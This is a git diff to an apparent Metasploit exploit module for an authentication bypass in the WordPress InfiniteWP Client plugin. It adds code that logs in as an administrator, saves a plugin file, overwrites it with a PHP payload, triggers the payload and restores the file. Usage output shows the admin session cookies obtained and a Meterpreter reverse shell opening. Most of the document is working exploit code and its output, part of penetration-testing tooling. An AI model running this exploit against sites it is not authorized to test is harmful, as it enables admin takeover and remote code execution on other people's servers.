diff --git a/documentation/modules/exploit/unix/webapp/wp_infinitewp_auth_bypass.md b/documentation/modules/exploit/unix/webapp/wp_infinitewp_auth_bypass.md index e3f060be4d..bb76332807 100644 --- a/documentation/modules/exploit/unix/webapp/wp_infinitewp_auth_bypass.md +++ b/documentation/modules/exploit/unix/webapp/wp_infinitewp_auth_bypass.md @@ -2,7 +2,14 @@ This module exploits an authentication bypass in the WordPress InfiniteWP Client plugin to log in as an administrator and execute -arbitrary PHP code. A valid administrator username is required. +arbitrary PHP code by overwriting the file specified by `PLUGIN_FILE`. + +The module will attempt to retrieve the original `PLUGIN_FILE` contents +and restore them after payload execution. If `VerifyContents` is set, +which is the default setting, the module will check to see if the +restored contents match the original. + +Note that a valid administrator username is required for this module. ## Setup @@ -19,11 +26,22 @@ Id Name ## Options +**USERNAME** + +Set this to a known, valid administrator username. Authentication will +be bypassed for this user. + **PLUGIN_FILE** Set this to a plugin file to insert the payload into, relative to the plugins directory, which is normally `/wp-content/plugins`. The file -must exist and be writable by the web user. It will be overwritten. +must exist and be writable by the web user. It will be overwritten and +later restored. + +**VerifyContents** + +Verify that the restored contents of `PLUGIN_FILE` match the original. +This is the default setting. ## Usage @@ -34,20 +52,29 @@ msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > run [*] Found version 1.9.4.4 in the custom file [*] Bypassing auth for admin at http://127.0.0.1:8080/ [+] Successfully obtained cookie for admin -[*] Cookie: wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CINVpiM6qkCHdJYwQ6NacqF266nGBG7I9sRz9jgeSYMl%7C16a01e62816ac417c021215bd344ec9fa7a8ff49125f949019fdc89623131ef5; wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CINVpiM6qkCHdJYwQ6NacqF266nGBG7I9sRz9jgeSYMl%7C16a01e62816ac417c021215bd344ec9fa7a8ff49125f949019fdc89623131ef5; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CINVpiM6qkCHdJYwQ6NacqF266nGBG7I9sRz9jgeSYMl%7C9c1dd6506b08207bd81ee38a4cf7c9a0260ff7bbf4aec52d1a8ebd32a4d2f47e; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CG6fm34loHaQrpkXc8eFGFcGXdaagX1MetNPuZM4cgGr%7C7b6635d34187a7f931e9e101cf6868916329730829ece06be5a9d12ad9fc94f3; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CG6fm34loHaQrpkXc8eFGFcGXdaagX1MetNPuZM4cgGr%7C7b6635d34187a7f931e9e101cf6868916329730829ece06be5a9d12ad9fc94f3; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579485087%7CG6fm34loHaQrpkXc8eFGFcGXdaagX1MetNPuZM4cgGr%7C9a91c6c80d74d0836ed69e55de3aab4a13e003f2004a982c0997cc46b8b80226; -[*] Editing payload into /wp-content/plugins/index.php -[*] Acquired a plugin edit nonce: 8586e26cd9 +[*] Cookie: wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7COxBLq33okE0wpLhPExpGTmYwiVFKf9lxPMikSWH9Gzf%7C52db8d17e2e078af4cc32f7c50a36114c2c325c031f3e10dc7bea303c7dba604; wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7COxBLq33okE0wpLhPExpGTmYwiVFKf9lxPMikSWH9Gzf%7C52db8d17e2e078af4cc32f7c50a36114c2c325c031f3e10dc7bea303c7dba604; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7COxBLq33okE0wpLhPExpGTmYwiVFKf9lxPMikSWH9Gzf%7C44ecac44335ad633ea98045a7085c4947fee015b700b8b7d9463dd44d2388bb2; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7C1h94K6uHKvFtqDB7jrIthpauRgc3eavVak6DVOjAHn3%7C9dfc5a01eb1df39b91ec09823e0b44e9a36490a096f5205dc2209664f689bdc9; wordpress_sec_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7C1h94K6uHKvFtqDB7jrIthpauRgc3eavVak6DVOjAHn3%7C9dfc5a01eb1df39b91ec09823e0b44e9a36490a096f5205dc2209664f689bdc9; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1579553438%7C1h94K6uHKvFtqDB7jrIthpauRgc3eavVak6DVOjAHn3%7C240d956e7a43f2ed3193171df429c8a8fb9ba3bac2f9805cdf88789f90a186df; +[*] Retrieving original contents of /wp-content/plugins/index.php +[+] Successfully retrieved original contents of /wp-content/plugins/index.php +[*] Contents: + 192.168.56.1:49273) at 2020-01-17 19:51:27 -0600 +[*] Acquired a plugin edit nonce: 9901ed8f55 +[*] Edited plugin file index.php +[+] Current contents of /wp-content/plugins/index.php match original! +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58534) at 2020-01-18 14:50:39 -0600 meterpreter > getuid Server username: www-data (33) meterpreter > sysinfo -Computer : 4d173f97f00b -OS : Linux 4d173f97f00b 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64 +Computer : 4e8791809581 +OS : Linux 4e8791809581 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64 Meterpreter : php/linux meterpreter > ``` diff --git a/lib/msf/core/exploit/http/wordpress/admin.rb b/lib/msf/core/exploit/http/wordpress/admin.rb index 2b0e60cbb3..34e147261f 100644 --- a/lib/msf/core/exploit/http/wordpress/admin.rb +++ b/lib/msf/core/exploit/http/wordpress/admin.rb @@ -44,10 +44,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin # Edits a plugin file (relative to plugins dir) using a valid admin session. # # @param file [String] The plugin file to edit (relative to plugins dir) - # @param content [String] The plugin file content as a string (OVERWRITES!) + # @param contents [String] The plugin file contents to overwrite with # @param cookie [String] A valid admin session cookie # @return [Boolean] true on success, false on error - def wordpress_edit_plugin(file, content, cookie) + def wordpress_edit_plugin(file, contents, cookie) unless (nonce = wordpress_helper_get_plugin_edit_nonce(cookie, file)) vprint_error('Failed to acquire the plugin edit nonce') return false @@ -69,7 +69,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin '_wpnonce' => nonce, 'file' => file, 'action' => 'update', - 'newcontent' => content + 'newcontent' => contents } ) diff --git a/lib/msf/core/exploit/http/wordpress/helpers.rb b/lib/msf/core/exploit/http/wordpress/helpers.rb index 90872886c8..14c721737b 100644 --- a/lib/msf/core/exploit/http/wordpress/helpers.rb +++ b/lib/msf/core/exploit/http/wordpress/helpers.rb @@ -169,4 +169,26 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers ) end + # Helper method to retrieve plugin file contents. + # + # @param cookie [String] A valid admin session cookie + # @param file [String] The plugin file to retrieve (relative to plugins dir) + # @return [String,nil] The contents, nil on error + def wordpress_helper_get_plugin_file_contents(cookie, file) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_backend, 'plugin-editor.php'), + 'cookie' => cookie, + 'vars_get' => {'file' => file} + ) + + return unless res && res.code == 200 + + contents = res.get_html_document.at('//textarea[@name = "newcontent"]') + + return unless contents + + contents.text + end + end diff --git a/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb b/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb index e027996674..d14a00e3c0 100644 --- a/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb +++ b/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ManualRanking include Msf::Exploit::Remote::HTTP::Wordpress @@ -15,7 +15,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ This module exploits an authentication bypass in the WordPress InfiniteWP Client plugin to log in as an administrator and execute - arbitrary PHP code. A valid administrator username is required. + arbitrary PHP code by overwriting the file specified by PLUGIN_FILE. + + The module will attempt to retrieve the original PLUGIN_FILE contents + and restore them after payload execution. If VerifyContents is set, + which is the default setting, the module will check to see if the + restored contents match the original. + + Note that a valid administrator username is required for this module. }, 'Author' => [ 'WebARX', # Discovery @@ -43,7 +50,8 @@ class MetasploitModule < Msf::Exploit::Remote ]) register_advanced_options([ - OptBool.new('ForceExploit', [false, 'Override check result', false]) + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptBool.new('VerifyContents', [false, 'Verify file contents', true]) ]) end @@ -104,18 +112,45 @@ class MetasploitModule < Msf::Exploit::Remote print_good("Successfully obtained cookie for #{username}") vprint_status("Cookie: #{cookie}") - print_status("Editing payload into #{plugin_uri}") - unless wordpress_edit_plugin(plugin_file, payload.encoded, cookie) - fail_with(Failure::UnexpectedReply, "Could not edit #{plugin_uri}") + print_status("Retrieving original contents of #{plugin_uri}") + og_contents = wordpress_helper_get_plugin_file_contents(cookie, plugin_file) + + unless og_contents + fail_with(Failure::UnexpectedReply, "Could not retrieve #{plugin_uri}") end - print_good("Successfully edited payload into #{plugin_uri}") + print_good("Successfully retrieved original contents of #{plugin_uri}") + vprint_status('Contents:') + print(og_contents) + + print_status("Overwriting #{plugin_uri} with payload") + unless wordpress_edit_plugin(plugin_file, payload.encoded, cookie) + fail_with(Failure::UnexpectedReply, "Could not overwrite #{plugin_uri}") + end + + print_good("Successfully overwrote #{plugin_uri} with payload") print_status("Requesting payload at #{plugin_uri}") send_request_cgi({ 'method' => 'GET', 'uri' => plugin_uri }, 0) + ensure + print_status("Restoring original contents of #{plugin_uri}") + unless wordpress_edit_plugin(plugin_file, og_contents, cookie) + fail_with(Failure::UnexpectedReply, "Could not restore #{plugin_uri}") + end + + return unless datastore['VerifyContents'] + + contents = wordpress_helper_get_plugin_file_contents(cookie, plugin_file) + + unless contents == og_contents + fail_with(Failure::UnexpectedReply, + "Current contents of #{plugin_uri} DO NOT match original!") + end + + print_good("Current contents of #{plugin_uri} match original!") end end